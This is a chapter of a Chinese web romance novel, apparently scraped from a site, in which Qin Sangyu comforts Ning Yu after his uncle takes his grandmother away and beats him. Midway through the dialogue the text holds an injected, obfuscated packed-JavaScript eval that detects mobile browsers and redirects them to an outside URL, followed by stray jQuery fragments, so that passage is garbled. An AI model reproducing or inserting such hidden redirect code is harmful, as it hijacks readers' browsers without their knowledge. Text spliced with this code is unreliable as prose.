是熟悉的感觉,秦桑榆一时有些陷入。
愣了几秒后,便马上逃出。
抬头望向他的眼睛,仿佛看到了一整个世界。
他的一整个世界。
她的脸庞骤然迎上一滴水,濛濛细雨中,不知是眼泪还是雨水。
胡同里地势较低,地上积水成了一片浅浅的湖。昏黄的路灯在水面上拉的很长,倒映着秦桑榆和宁隅的影子。
整个世界都暗暗的,秦桑榆抬起头,想问问宁隅今天发生了什么,还想知道他有没有企鹅空间……
抬眼却看到他嘴角的残血,秦桑榆下意识便碰了上去。
轻蹙眉头,话中满是急切。
“这是怎么了?”
“没什么。”
有雨滴顺着伞檐滴下,落在秦桑榆衣裙上。宁隅将秦桑榆往自己身边拉近了一点。
伞里面的空间很小,秦桑榆仿佛能听到自己的心跳声。
宁隅已经湿了些的的白衬衫无可避免的不小心贴在宁隅身上。
秦桑榆脸红的简直就要滴血,又因着宁隅不愿意正面回答秦桑榆的问题,她于是壮着胆子将宁隅推开了十几厘米,
她的声音比平时都要大,仔细琢磨还有遮掩不住的怒气和恐惧,“你可不可以离我远一点?”
宁隅的视线在秦桑榆脸上停留了一瞬,仅仅一瞬,便主动离开了她。
离开了伞的庇护,宁隅的白衬衫很快湿掉。不成样子。
湿发躺在额前,顺着眼泪从脸上滑落。
脸上仿佛写着不甘,
“对不起。”
他仿佛决绝般,转身就要走,
秦桑榆忽然叫住他,他没有回头。她的模样却完全留在他的脑中。
暖黄的路灯下她美好的不像话,一身白裙子像极了天使,他们本就不是一个世界的。
琴弹完了,梦也醒了。
该醒了,早就该醒了。
“你不想问问我为什么要把你推开吗?”
雨还在下,宁隅没有说话。
也没有继续走下去。
秦桑榆就默认了他在听她讲话,于是抬高音量。
“我们认识也有两个月了。你那天扶我起来,给我伞,送我糖,我们一起找你奶奶,一起出去玩…一起弹琴,我以为我们早就是朋友了。”
“我知道你心里痛,有些事情你可以告诉我的。而不是忍在心里谁都不说,憋久了是会出问题的,既然我们是朋友…”
秦桑榆话还没有说完,人也没有反应过来,就被宁隅紧紧箍在怀里。
伞落在地上,淡淡的肥皂香萦绕在她的鼻尖。
她的心扑通扑通跳的很快,仿佛感受不到雨天的潮湿了。
整个世界仿佛被加上了一层温暖的滤镜。
一句话从她耳边流淌而过。
“你可不可以,一直可怜我。”
……
“所以你是说,你去养老院看你奶奶的时候,恰巧碰到你叔叔把你奶奶带走…”
秦桑榆用胳膊撑着下巴,呆在宁隅家里。
头顶的电灯泡有些泛黄,不时有飞蛾扑向。发出不小的撞击声。
宁隅的记忆又飞回那天上午,他本想去告诉奶奶,自己遇见了一个很好的姑娘。
他们会一起找她,一起躲教导主任,一起弹琴.....
宁隅和周秋灵约定好,会录下和秦桑榆一起弹琴的视频给她看。
宁隅低头看了手表,和周秋灵约好了下次见面的时间。便准备去找秦桑榆赴约。
如果不是他忽然想起要给周秋灵一颗秦桑榆给他的柠檬糖,他可能很长一段时间都不会知道,周秋灵被宁隅的小叔叔带走了。
宁隅的耳尖,脖颈都露了红,他把周秋灵护在身后,“五年前,我父亲破产。你说过,这辈子都不会和我奶奶,我父亲有交集,你带着老婆一走了之,留我和奶奶在家里苟延残喘,我知道你不必为我父亲的债务负任何责任,可你何必落井下石。”
三人在外争吵,言语间落下雨,宁隅把伞向周秋灵倾斜,他脸上流淌着水,是泪水,也是雨水。
“你现在为什么要接她回去,你以为我心里不清楚吗?她已经生病了,你还要她回去榨干她剩余的劳动价值,你真的,一点都不肯放过她吗……”
宁隅的话吸引了不少路人来看,十几个人挥舞着手指说宁隅二叔不孝。
宁鑫磊再也忍不住了,一拳砸向宁隅,
“狗崽子!”
“我弄不死你!”
……
再次醒来时,他脑子里只有迷迷糊糊一句话,
“那就去打官司,看这老婆子跟不跟的我!”
……
他从回忆里挣出,睁开沉重的双眼。
她正望向她,仔细的听他讲。
“你叔叔太霸道了吧,怎么可以这么对你和你奶奶!”
宁隅没有说话。
秦桑榆长长的叹息一声,他能理解宁隅此刻的心情,但世界上没有真正的感同身受。他不知道宁隅此刻到底有多绝望,不知道他湿透了的衣服是不是和他的心一样潮湿,她能做的,就是尽可能的陪陪他,开解他。
至于打官司的事情…
秦桑榆把手搭在宁隅的手上,
“你放心,你需要的话,我会陪着你的。”
宁隅看向她的眼神,仿佛是笑,又仿佛是在自欺欺人。
他不知道自己听到了什么,也不敢相信。
她是第一个,说会一直陪着他的人。
他望着头顶不断撞击白炽灯的飞蛾说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342039|199387||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,
“他们真的是一个世界的吗?”
秦桑榆抬头,伸出一根手指,顺着宁隅眼瞅着的方向看去,却不知道他在嘀咕什么。
“你在说什么?”
宁隅捏住他的手,引着她看向那几只飞蛾。
“飞蛾喜光,便向着白炽灯靠近。可白炽灯真正的光源并不在表层,而在被层层包裹的最深处。飞蛾看见的,从来不是它真实的样子,只是外壳折射出的光亮。倘若飞蛾见到了它真正的模样……那根早已锈迹斑斑的灯芯,它还会义无反顾地靠近吗?”
宁隅的声音越来越冷漠,疏离。仿佛要将自己的阴冷,嫉妒,不甘…全部都隐藏。
只留下一个完美的自己,展现在她面前。
秦桑榆将宁隅的脑袋掰过来,迫使他看向自己,
“宁隅,你不要这么悲观好吗?你想呀,灯芯是它,光源由灯芯散发,怎么不是它呢?所以呀,你不要一直否定自己。”
秦桑榆说着,移开和他相交汇的目光,略显羞涩的低下头来,
“我就觉得,你很好,特别好。”
正正好好,是她喜欢的模样。
两个人于是都低下头,粲然一笑。
……
“我爷爷在我很小的时候就去世了,我现在已经有些记不清他的模样了,我也从未在梦里见过他……”
秦桑榆仔细听着宁隅讲话,
“我觉得你爷爷肯定在挑一个好时间来看你呢,你想呀,每天都有那么多…”秦桑榆拉长声音,手动比划着。
“有那么多人要托梦,光排队就要排很久呢。说不准他们一起来到地球见你们,都挤不下了。所以呀,你爷爷一定是在挑时间呢。”
宁隅扬唇一笑,秦桑榆看着他,脸颊也荡漾起两个好看的梨涡。
“你笑起来多好看呀。”
秦桑榆又随时随地掏出自己的小镜子,映出宁隅好看的模样。
“以后你就要多笑呀。”
“知道了吗?”
“知道了。”
……
天色很暗了,外面滴滴答答还在下雨。
宁隅为秦桑榆撑着伞,走在她身旁。二人缓缓走到了胡同的最前方,
秦桑榆灵活的向左侧跳动了一小步,和宁隅面对面。
就送到这吧,她指了指前方。
王成业正在车里等候。
宁隅和王成业眼神间打了招呼,秦桑榆也于是和宁隅挥手告别。
她指了指伞,
“这把伞,还给你。我走啦!”
随后双手放在头上方,小跑进雨里。
宁隅站在原地,看向她逐渐变小的背影,摩挲着他在“宁”字下面,一笔一划写下的“榆”字。
低声轻喊:“秦桑榆…”